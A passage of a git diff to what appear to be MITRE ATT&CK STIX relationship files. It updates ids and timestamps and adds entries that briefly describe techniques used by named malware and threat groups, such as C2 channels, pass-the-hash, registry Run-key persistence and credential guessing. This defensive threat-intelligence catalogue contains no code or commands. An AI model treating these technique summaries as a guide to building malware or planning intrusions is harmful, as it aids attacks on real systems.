     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After decrypting itself in memory, RARSTONE downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This \u201cdownloaded\u201d file is actually not dropped onto the system.",
             "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
diff --git a/enterprise-attack/relationship/relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9.json b/enterprise-attack/relationship/relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9.json
index 1faf885e3a..d18cf16419 100644
--- a/enterprise-attack/relationship/relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9.json
+++ b/enterprise-attack/relationship/relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2bf9fd61-0170-4f13-b1fa-f9933e712b6f",
+    "id": "bundle--ceebe234-27dd-49b0-bc00-056820c0fd89",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used pass the hash for lateral movement.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--2325c0b2-fb89-44e1-9206-e495811f2907.json b/enterprise-attack/relationship/relationship--2325c0b2-fb89-44e1-9206-e495811f2907.json
index 46b11a0048..755e912755 100644
--- a/enterprise-attack/relationship/relationship--2325c0b2-fb89-44e1-9206-e495811f2907.json
+++ b/enterprise-attack/relationship/relationship--2325c0b2-fb89-44e1-9206-e495811f2907.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--91053ab0-f90e-4922-8935-c330b92af644",
+    "id": "bundle--45c74a37-cfc7-483d-a2d5-9dc87dd68486",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2325c0b2-fb89-44e1-9206-e495811f2907",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware WhiskeyDelta-Two contains a function that attempts to rename the administrator\u2019s account.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--233d1a32-f826-4705-a535-806edee8a5aa.json b/enterprise-attack/relationship/relationship--233d1a32-f826-4705-a535-806edee8a5aa.json
index 6a8bb4902d..107e96435e 100644
--- a/enterprise-attack/relationship/relationship--233d1a32-f826-4705-a535-806edee8a5aa.json
+++ b/enterprise-attack/relationship/relationship--233d1a32-f826-4705-a535-806edee8a5aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7caf22f3-41d6-4c4f-9337-a936cfd4bb65",
+    "id": "bundle--372631f7-a36f-463b-b655-1a3e3ac04b2b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--233d1a32-f826-4705-a535-806edee8a5aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CozyCar uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--2355c588-ff82-4eaf-82db-54af59ede582.json b/enterprise-attack/relationship/relationship--2355c588-ff82-4eaf-82db-54af59ede582.json
index bc0a3b2f8b..0fd724cbb7 100644
--- a/enterprise-attack/relationship/relationship--2355c588-ff82-4eaf-82db-54af59ede582.json
+++ b/enterprise-attack/relationship/relationship--2355c588-ff82-4eaf-82db-54af59ede582.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b8defe37-f3dc-4e81-8ca5-bb3ae05bdaeb",
+    "id": "bundle--36a8e7f0-4b80-48aa-968e-bd70bb809ce4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2355c588-ff82-4eaf-82db-54af59ede582",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Net Crawler uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.",
             "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
diff --git a/enterprise-attack/relationship/relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a.json b/enterprise-attack/relationship/relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a.json
index 8324f42509..3710800e03 100644
--- a/enterprise-attack/relationship/relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a.json
+++ b/enterprise-attack/relationship/relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f19933e4-1d78-46bc-a5a4-338929fc46d8",
+    "id": "bundle--40840195-297a-4ac1-bfbc-cfcedd72c1b2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
diff --git a/enterprise-attack/relationship/relationship--238a7a2c-34db-4f43-a94b-4a6ad225129d.json b/enterprise-attack/relationship/relationship--238a7a2c-34db-4f43-a94b-4a6ad225129d.json
index f89b04773b..11f2bc687e 100644
--- a/enterprise-attack/relationship/relationship--238a7a2c-34db-4f43-a94b-4a6ad225129d.json
+++ b/enterprise-attack/relationship/relationship--238a7a2c-34db-4f43-a94b-4a6ad225129d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bee9a9e3-1204-4f1f-877d-5325ea89b953",
+    "id": "bundle--823f6f6c-715f-4d2c-b806-c5f3e5c795da",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--238a7a2c-34db-4f43-a94b-4a6ad225129d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "target_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--23dca74f-2b3e-46c0-b7a3-9d9eab932f58.json b/enterprise-attack/relationship/relationship--23dca74f-2b3e-46c0-b7a3-9d9eab932f58.json
new file mode 100644
index 0000000000..112d696e55
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--23dca74f-2b3e-46c0-b7a3-9d9eab932f58.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--48ef97cf-b4f0-4540-9ba1-4473599fcc95",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--23dca74f-2b3e-46c0-b7a3-9d9eab932f58",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can use PowerSploit or other scripting frameworks to perform execution.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--23df6015-0167-481c-84aa-3d15d3e38a85.json b/enterprise-attack/relationship/relationship--23df6015-0167-481c-84aa-3d15d3e38a85.json
index 32a0507a7a..8b45b577aa 100644
--- a/enterprise-attack/relationship/relationship--23df6015-0167-481c-84aa-3d15d3e38a85.json
+++ b/enterprise-attack/relationship/relationship--23df6015-0167-481c-84aa-3d15d3e38a85.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ab0a0044-59d4-46d5-a485-d515139063c8",
+    "id": "bundle--242ca66a-1582-4c2d-9b6c-df569fef9223",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--23df6015-0167-481c-84aa-3d15d3e38a85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Data SPACESHIP copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
diff --git a/enterprise-attack/relationship/relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58.json b/enterprise-attack/relationship/relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58.json
index 2f1db4189c..e4330f3dfb 100644
--- a/enterprise-attack/relationship/relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58.json
+++ b/enterprise-attack/relationship/relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fe77a1df-e5d2-4486-96e5-edf285a3960c",
+    "id": "bundle--c2ed3083-b4dc-4de8-a0c7-cffa724de6cb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can record keystrokes from both the keyboard and virtual keyboard.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a.json b/enterprise-attack/relationship/relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a.json
index c5dd382ad8..3dda65ceb3 100644
--- a/enterprise-attack/relationship/relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a.json
+++ b/enterprise-attack/relationship/relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a2a370ee-7e59-4bca-b822-fac18c56d341",
+    "id": "bundle--3278f00f-968e-4903-b255-7660786e94e0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8.json b/enterprise-attack/relationship/relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8.json
index b11f9d303b..23f8c61f22 100644
--- a/enterprise-attack/relationship/relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8.json
+++ b/enterprise-attack/relationship/relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1091cb38-f055-4065-8ddb-c3dd49640ee1",
+    "id": "bundle--27e75928-85de-4a9d-b5e8-9fc0886886da",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5",
             "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
diff --git a/enterprise-attack/relationship/relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b.json b/enterprise-attack/relationship/relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b.json
new file mode 100644
index 0000000000..879191b86f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--f3b898f0-ea98-4a69-aae0-5425bec30a94",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can download remote files.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2482623f-65a7-4da5-8cb2-64279319e3dc.json b/enterprise-attack/relationship/relationship--2482623f-65a7-4da5-8cb2-64279319e3dc.json
index 95dbe49f23..c0cb9442bb 100644
--- a/enterprise-attack/relationship/relationship--2482623f-65a7-4da5-8cb2-64279319e3dc.json
+++ b/enterprise-attack/relationship/relationship--2482623f-65a7-4da5-8cb2-64279319e3dc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fad9f46b-a9f7-4b34-863f-f8bb4868ae59",
+    "id": "bundle--4c190e7c-5d0c-4e61-adeb-0f937fb2897b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2482623f-65a7-4da5-8cb2-64279319e3dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612",
             "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
diff --git a/enterprise-attack/relationship/relationship--24bce281-7858-4a42-bfd6-601800fb63f7.json b/enterprise-attack/relationship/relationship--24bce281-7858-4a42-bfd6-601800fb63f7.json
index 2f3cdc4b18..cf5e45d039 100644
--- a/enterprise-attack/relationship/relationship--24bce281-7858-4a42-bfd6-601800fb63f7.json
+++ b/enterprise-attack/relationship/relationship--24bce281-7858-4a42-bfd6-601800fb63f7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3b4b9a16-8898-4ce7-9762-555f903fe173",
+    "id": "bundle--b7e2048c-4c5d-428f-8769-9e7f0ac62039",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--24bce281-7858-4a42-bfd6-601800fb63f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain a list of active connections and open ports.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8.json b/enterprise-attack/relationship/relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8.json
index b89f91a626..4a87d0934c 100644
--- a/enterprise-attack/relationship/relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8.json
+++ b/enterprise-attack/relationship/relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c02530c-fe71-41ab-b9ad-7e54beec25ba",
+    "id": "bundle--a12302d0-6396-4b6c-8cf9-4fdcd3368354",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "PowerDuke has commands to get its current directory name as well as the size of a file.",
+            "description": "PowerDuke has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--252c0e02-0da6-4812-b147-81d9cfb3c998.json b/enterprise-attack/relationship/relationship--252c0e02-0da6-4812-b147-81d9cfb3c998.json
index af6d0009e6..cc30870503 100644
--- a/enterprise-attack/relationship/relationship--252c0e02-0da6-4812-b147-81d9cfb3c998.json
+++ b/enterprise-attack/relationship/relationship--252c0e02-0da6-4812-b147-81d9cfb3c998.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a5f6059-cc20-4895-9db9-e968ef2d1f05",
+    "id": "bundle--80a4b833-f6e2-46bd-96c2-33fbd28c26f7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--252c0e02-0da6-4812-b147-81d9cfb3c998",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK used a proxy server between victims and the C2 server.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--253b56a5-232f-44bc-af4d-85ccc12a0577.json b/enterprise-attack/relationship/relationship--253b56a5-232f-44bc-af4d-85ccc12a0577.json
index c021ac21eb..22a7377a07 100644
--- a/enterprise-attack/relationship/relationship--253b56a5-232f-44bc-af4d-85ccc12a0577.json
+++ b/enterprise-attack/relationship/relationship--253b56a5-232f-44bc-af4d-85ccc12a0577.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--559bc1d5-1f43-4538-bcb7-e0ef8873a243",
+    "id": "bundle--4c91b618-4f8b-4778-b46d-7edafbe6d384",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--253b56a5-232f-44bc-af4d-85ccc12a0577",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Tools used by Gamaredon Group are capable of downloading and executing additional payloads.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
diff --git a/enterprise-attack/relationship/relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00.json b/enterprise-attack/relationship/relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00.json
new file mode 100644
index 0000000000..a9efdbff78
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ebf214ce-dc8e-417a-8044-ee4a880e390b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
+            "external_references": [
+                {
+                    "source_name": "ClearSky OilRig Jan 2017",
+                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
+                    "url": "http://www.clearskysec.com/oilrig/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--259b878f-147e-443b-8360-aabc00cf6d73.json b/enterprise-attack/relationship/relationship--259b878f-147e-443b-8360-aabc00cf6d73.json
index ae2dc469be..09372a3743 100644
--- a/enterprise-attack/relationship/relationship--259b878f-147e-443b-8360-aabc00cf6d73.json
+++ b/enterprise-attack/relationship/relationship--259b878f-147e-443b-8360-aabc00cf6d73.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ca0e473b-076c-4b4a-ab29-34418589341f",
+    "id": "bundle--56922957-2cbe-433c-b513-e0d77f7c006e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--259b878f-147e-443b-8360-aabc00cf6d73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser has established persistence by setting the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> key value for <code>wdm</code> to the path of the executable. It has also used the Registry entry <code>HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn \u201c%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe\u201d</code> to establish persistence.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--25a46055-25f5-4f91-9b0f-ba099f9dde4b.json b/enterprise-attack/relationship/relationship--25a46055-25f5-4f91-9b0f-ba099f9dde4b.json
index f627407e50..1a20baa2c0 100644
--- a/enterprise-attack/relationship/relationship--25a46055-25f5-4f91-9b0f-ba099f9dde4b.json
+++ b/enterprise-attack/relationship/relationship--25a46055-25f5-4f91-9b0f-ba099f9dde4b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--10df6f1d-3d60-419d-9faa-4d1c6fc637ac",
+    "id": "bundle--371ea439-95ed-4c58-b3f2-b87f07573ddf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--25a46055-25f5-4f91-9b0f-ba099f9dde4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf",
             "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
diff --git a/enterprise-attack/relationship/relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8.json b/enterprise-attack/relationship/relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8.json
index c8f3f02cbe..a6724eb513 100644
--- a/enterprise-attack/relationship/relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8.json
+++ b/enterprise-attack/relationship/relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--184a725c-08ea-4f3f-af6a-637650894ad9",
+    "id": "bundle--6da5ca86-fa13-4003-a451-f645a73daf66",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE uses Microsoft\u2019s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims\u2019 machines.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
diff --git a/enterprise-attack/relationship/relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3.json b/enterprise-attack/relationship/relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3.json
index cdc23bbe0b..f502630b67 100644
--- a/enterprise-attack/relationship/relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3.json
+++ b/enterprise-attack/relationship/relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a06d465-a1a5-44fc-8740-ae9632628c10",
+    "id": "bundle--bf00b2ff-f4b8-403a-a096-5f16651927ae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "LOWBALL uses the Dropbox API to  request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware.",
             "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
diff --git a/enterprise-attack/relationship/relationship--25d96e8e-6893-4b90-82cc-253cbd499543.json b/enterprise-attack/relationship/relationship--25d96e8e-6893-4b90-82cc-253cbd499543.json
new file mode 100644
index 0000000000..21a8166ac2
--- /dev/null
